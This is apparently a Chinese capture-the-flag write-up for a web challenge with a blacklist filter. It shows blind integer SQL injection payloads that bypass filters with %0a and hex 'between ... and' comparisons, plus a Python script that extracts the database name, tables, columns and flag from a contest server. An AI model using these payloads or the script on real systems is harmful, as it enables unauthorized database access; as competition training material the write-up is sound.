Contents
  1. 1. 前言
  2. 2. Web
    1. 2.1. 好黑的黑名单

前言

第一次参加月赛,水了一波

Web

好黑的黑名单

FdE8qx.png

根据提示,题目有黑名单,发现”吃面去吧”是个链接,点击如下图
FdEOW4.png

发现有传参的地方,测试后有三种回显结果
id=1:陕西油泼面价格为20
id=2:想让我下面给你吃?
id=3:这么坏?想让我下面给你吃吗?XD

分析回显 1 为正常页面,回显2为id查询结果的回显,回显3是被黑名单检测到的回显

测试是什么类型的注入

初步测试可知:空格,单引号,双引号都被过滤
空格可以用‘%0a’代替

测试‘%0aand%0a1’,如下图
FdZpcj.png

测试‘%0aand%0a0’如下图
FdZiBq.png

初步得出结论,此处存在整形注入

构造payload

逻辑运算符都被过滤,而且like和regexp都无法使用的情况下

就需要一个小技巧,用‘between and’来代替逻辑运算符,在盲注中要注意一些细节
FdZo5T.png
FdePRe.png

实际测试
第一个字符
FdeEqI.png

第二个字符
Fdeui8.png

依次可以测试出所有字符

payload:
?id=2 and (select (select database()) between ‘a’ and ‘z’)

但是黑名单还过滤了单引号,索引,’between and’支持16进制,所以改成16进制即可
?id=2 and (select (select database()) between 0x61 and 0x7a)
(也要把空格改为‘%0a’)

写一个爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import binascii

burl = 'http://101.71.29.5:10008/show.php?id=-1'

flag = 0
ans = ''
result = ''


for i in range(40):
if flag == 0:
for j in range(127,32,-1):
if j == 33:
flag = 1
#payload = '%0aor%0a(select%0adatabase()%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #web
#payload = '%0aor%0a(select%0a(select%0agroup_concat(table_name)%0afrom%0ainformation_schema%0a.tables%0awhere%0atable_schema%0abetween%0a0x776562%0aand%0a0x776562)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #admin,flaggg,menu
#payload = '%0aor%0a(select%0a(select%0agroup_concat(column_name)%0afrom%0ainformation_schema%0a.columns%0awhere%0atable_name%0abetween%0a0x666c61676767%0aand%0a0x666c61676767)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #id,f1agg
payload = '%0aor%0a(select%0a(select%0af1agg%0afrom%0aflaggg)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)'
url = burl+ payload
con = requests.get(url)
# print(con.text)
if u"郑州" in con.text:
ans = ans + chr(j)
print(result)
result = result + hex(j)[2:4]
break

print(ans)

可以看看https://0verwatch.top/2018/11/30/anheng-11month/

Contents
  1. 1. 前言
  2. 2. Web
    1. 2.1. 好黑的黑名单